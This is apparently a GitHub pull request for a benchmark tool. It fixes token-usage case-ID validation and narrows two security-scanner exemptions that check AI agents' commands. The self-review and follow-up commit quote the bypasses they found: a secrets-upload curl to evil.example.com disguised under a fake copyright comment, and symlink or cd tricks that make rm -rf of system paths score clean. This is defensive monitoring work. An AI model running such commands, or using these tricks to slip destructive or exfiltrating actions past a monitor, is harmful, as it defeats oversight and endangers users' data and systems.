Repository navigation
fix(tier3): validate token case IDs and fix two security false positives - #507
Conversation
Closes the two parts of issue #192 the 1.6.0/1.7.1 release line left open. Token usage case rows are now validated against the evaluation dataset's own case IDs. The dataset is the only authority on what a case is called, so an attempt whose only name is Harbor's 32-character cut of a case name is attributed to that case even when no recorded trial spells the full name out. Its missing telemetry therefore stays with the canonical case instead of splitting into a phantom row beside it, and every case row uses a dataset ID at most once. A row that still cannot be matched -- for example a name that two dataset IDs cut to alike, which is never guessed -- keeps its recorded name, is marked `case_id_in_dataset: false`, and is named under `token_usage.case_id_validation`; the terminal, Markdown, BENCHMARK.md and HTML tables mark it "(unverified case ID)" and explain that it is a report-integrity problem rather than coverage of a case. A run with no dataset to check against carries no validation record and claims nothing about its case IDs, as before. The security scan no longer scores two false positives the maintainer traced in the NVSkills evidence. One literal, recursive and forced `rm` of a path inside the agent's own output directory is ordinary cleanup: that directory is created empty for the agent in every trial container, so a path inside it exists only because this agent made it. The directory itself, anything outside it, a sensitive or protected path, and every compound, quoted, globbed, parent-escaping or dynamic command form keep their old score, as does a command whose working directory the trace could not track. Separately, a `http://` or `https://` URL on a comment line of a license or copyright notice is prose, not a network client, so the Apache header that every generated source file carries no longer makes a long file write reach the oversize bailout and read as an upload. `config/pii_patterns.yaml` already exempts the same notices from its e-mail rule. Only the URL is exempt: a curl, wget or httpie word keeps its meaning wherever it is written, including inside a notice. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5 <[email protected]>
Resolves the CHANGELOG conflict with #504 by keeping both sides: main's grader-qualification entry stays where main put it under Unreleased -> Fixed, and this branch's three entries follow it. No released section is touched and nothing is deleted. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5 <[email protected]>
rng1995
left a comment
There was a problem hiding this comment.
Review of the issue #192 fix: the dataset-ID validation of token-usage rows and the two security-scanner relaxations.
Six reviewers covered token-usage correctness, the renderers, the destructive-rm relaxation, the exfiltration relaxation, test rigour, and whether the prose claims match the code. Each raw finding was then checked by three independent verifiers working from different angles (is it reachable, is the claim about the code true, can it be reproduced), with uncertainty resolved against the finding. 21 raw findings; 5 were refuted and dropped; the remaining 16 collapse to the 12 distinct defects below, since the output-directory root and the symlink hole were each reported by more than one reviewer.
The two relaxations are wider than the change claims, and both have working bypasses. rm -rf through a symlink the agent planted inside its own output directory now scores clean, as does an rm under any directory named output beneath wherever the shell has cd-ed. On the exfiltration side, _COMMENT_LINE_RE treats *), //, --, ; and % as comment leaders, which are executable shell, and _LICENSE_NOTICE_MARKER_RE accepts a bare (c) — so a case arm carrying a real curl -T /workspace/.env https://evil.example.com/u upload, under nothing more than # clamp(c) to the valid channel range, scores 1.0 where origin/main reports network_exfiltration_risk. These are regressions against main introduced by this branch, not pre-existing gaps.
One note on the pass@k comment: a first reading of it blamed a mechanism that turned out to be wrong, and the comment says so and narrows the claim to what is actually established. I would rather leave the reasoning visible than quietly drop it or post it overstated.
Every anchor here was checked against this PR's current diff after the main merge. I am the author of this PR, so treat this as a self-review: it is evidence to check, not an approval.
…y claim Addresses the review of PR #507. Both relaxations the previous commit added were wider than their own prose, and each had a working bypass that scored a genuinely malicious command clean where `origin/main` flags it. The two false positives issue #192 reported are still fixed; what changes is everything the exemptions were never meant to cover. The output-cleanup exemption used to build its exempt root from the shell's current directory, which `cd` moves, so any directory named `output` anywhere became "the agent's own output directory": `cd /usr/share/app` then `rm -rf output/data` scored 1.0. The root is now the `output` directory of the directory the trace starts in, fixed for the whole trace, and a root whose first segment belongs to the base image (`/etc`, `/usr`, ...) or that sits under an unresolvable `/proc/<pid>/cwd` working directory is not a root at all. The exemption also ignored the trace's symbolic-link evidence, so `ln -s / /workspace/output/root` followed by `rm -rf /workspace/output/root/etc` scored clean; once a link has been created only a direct child of an output root is exempt, mirroring `_rm_tmp_operand_is_exempt`. `rm -rf output/root/.bashrc` reaches the protected-path guard, which no test covered; it does now. The license-notice exemption read `*)`, `//cmd`, `--`, `;` and `%` as comment leaders. Those are executable shell, so a comment run stretched over a live command and lent it a copyright line written above: a real `curl -T /workspace/.env https://evil.example.com/u` in a `case` arm scored 1.0. Every remaining leader is inert in shell, `//` and `/*` must be followed by whitespace, and a `*` continuation is recognized from the `/*` that opened it rather than from the star. `_LICENSE_NOTICE_MARKER_RE` also accepted a bare `(c)`, so `# clamp(c) to the valid channel range` built a notice out of ordinary code prose; `(c)` now counts only beside a year or a capitalized name. The comment that claimed `config/pii_patterns.yaml` reads a notice the same way said more than it could: that file's list differs in both directions and no code here consults it. Prose corrected where it overstated the previous commit: quoted `rm` forms are exempt, not scored as before -- the behaviour is safe, because `_literal_rm_operands` rejects the `$`, backtick and backslash a quoted word would need to resolve to anything else, but the docstring, the CHANGELOG and that commit message all said the opposite, and no test pinned it. Quoted cases are now in the exempt list. The CHANGELOG also claimed a long file write carrying a license header is no longer flagged; that holds only when the header's URL is the file's only one, and it now says so. Report side: `(unverified case ID)` is explained only where a rendered row carries the mark; a table that shows no case rows, or whose row caps or payload pruning dropped them, names the unmatched case IDs instead. Two comments in `token_usage.py` still described the scored/unscored split the new code no longer makes. `_pass_at_k_cases` merges colliding keys deterministically -- a dataset ID wins, else the larger `attempts_skipped` -- instead of depending on the collector's insertion order; today's collector already orders them safely, so this removes a cross-module dependency rather than fixing a live defect. Every bypass above has a regression test asserting the malicious form still scores, and the long-file-write test is parametrized over the `#`, `//`, `/* */` and `+#` header forms, so the comment-leader alternation is pinned. The bundled Harbor verifier `harbor/templates/eval.py` delegates to `eval_core.checks.check_security` and aliases none of the changed symbols, so it needed no edit; the tests exercise it through that path. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5 <[email protected]>
Addresses part of #192. This PR does not close the issue — see "What remains" below.
The maintainer's triage on #192 sorts the report into four items. Two of them were already fixed on
mainbefore this branch (the 1.6.0 Tier 3 gate, and the 1.7.1Excluded — <reason>label for a blanked agent); this branch leaves both alone. The two it does fix are the ones that triage marks as still open: validating token rows against dataset IDs, and the two security scanner false positives.Both were reproduced on clean
mainbefore anything was touched.Both remaining items were reproduced on clean
mainbefore anything was touched.1. Token usage rows validated against dataset case IDs
build_token_usage(..., dataset_case_ids=...): when the dataset is known it becomes the only authority for matching a case. Previously the authority was the set of labels the trials themselves recorded, which is why a truncated label could never be corrected — it was in that set by construction. Canonicalization now also runs on scored trials and on pass@k case keys, not just unscored attempts.case_id_in_dataset: false, and is named in a new top-leveltoken_usage.case_id_validation(status,dataset_case_ids,unmatched_case_ids).<id> (unverified case ID)with a note that this is a report-integrity problem, not coverage.Both issue shapes now collapse to one canonical row: a scored trial whose
entry_idis the 32-char cut beside a full-name trial, and a case whose only names anywhere are cut trial names (both arms died) — the latter was impossible to fix without the dataset.2. Two security false positives (
tier3/eval_core/checks.py)Destructive. A single literal, recursive and forced
rmwhose every operand resolves strictly inside the agent's own output directory is cleanup. Scope is/workspace/outputplus<tracked workdir>/output— the trial image doesRUN mkdir -p /workspace/skills /workspace/input /workspace/outputwithWORKDIR /workspace, so that directory is created empty for the agent and a path inside it exists only because the agent made it. Roots directly under/are excluded so a shell that wandered to/cannot claim/output. The directory itself, anything outside it, sensitive or protected paths, and every compound, quoted, globbed, parent-escaping or dynamic form keep their old score.Exfiltration. A
http://orhttps://URL on a comment line of a license or copyright comment block is prose, not a network client. The marker set mirrors theCopyright/LICENSE/(c)exceptions already inconfig/pii_patterns.yaml.curl,wgetandhttpwords always count, including inside a notice.Judgement calls worth a reviewer's attention
--max-cases, case selection) would itself invent coverage. A row per dataset case would be a small follow-up if that is wanted.output/.../sim_workspace) was created by a subprocess, so mkdir/redirect/write-tool tracking would not have caught it. Consequence:rm -rf /workspace/output/<anything>is cleanup even without an observed creation.mainis only reachable through the >64 KiB oversize bailout. A license-URL false positive could not be reproduced through token-level analysis (heredocs, apply_patch,python -c, bare URL lines all return False). What fires islen(cmd_text) > _MAX_NETWORK_ACTION_CHARS → True, reachable only because the Apache header'shttp://matches the fast pattern. This gate runs before it; the bailout itself is unchanged. If a different shape was seen in 1.5.6, this may not cover it.What remains on #192
This PR deliberately does not use a closing keyword. Two items from the triage are still outstanding:
main, the Tier 3-scope callout rendersae["verdict_reason"], but the full-report path builds its banner from_verdict_callout(status)alone — theOverall verdict: PASS — Recommended for publicationline the issue quotes carries no reason and no per-agent dimension evidence. That is the complaint in the issue's first section and it is untouched here. It belongs inreporting/benchmark.py, not in this change.BENCHMARK.md/skill.oms.sigis operational and sits outside this repo.Closing #192 should wait for item 1 and the regenerated report.
Tests
tests/tier3 tests/reporting tests/evaluation: 26 failed, 14802 passed, 5 skipped, 7 errors. Clean-mainbaseline on the same selection: 26 failed, 14721 passed, 5 skipped, 7 errors — the FAILED/ERROR sets are byte-identical in both directions, so every failure pre-exists. The +81 passes are exactly the new tests.tests/tier3/test_issue192_security_false_positives.py: 71 passed.test_token_usage.py57 (was 49),test_tier3_token_usage_reports.py35 (was 33).ruff checkclean;ruff format --checkclean on all touched files.🤖 Generated with Claude Code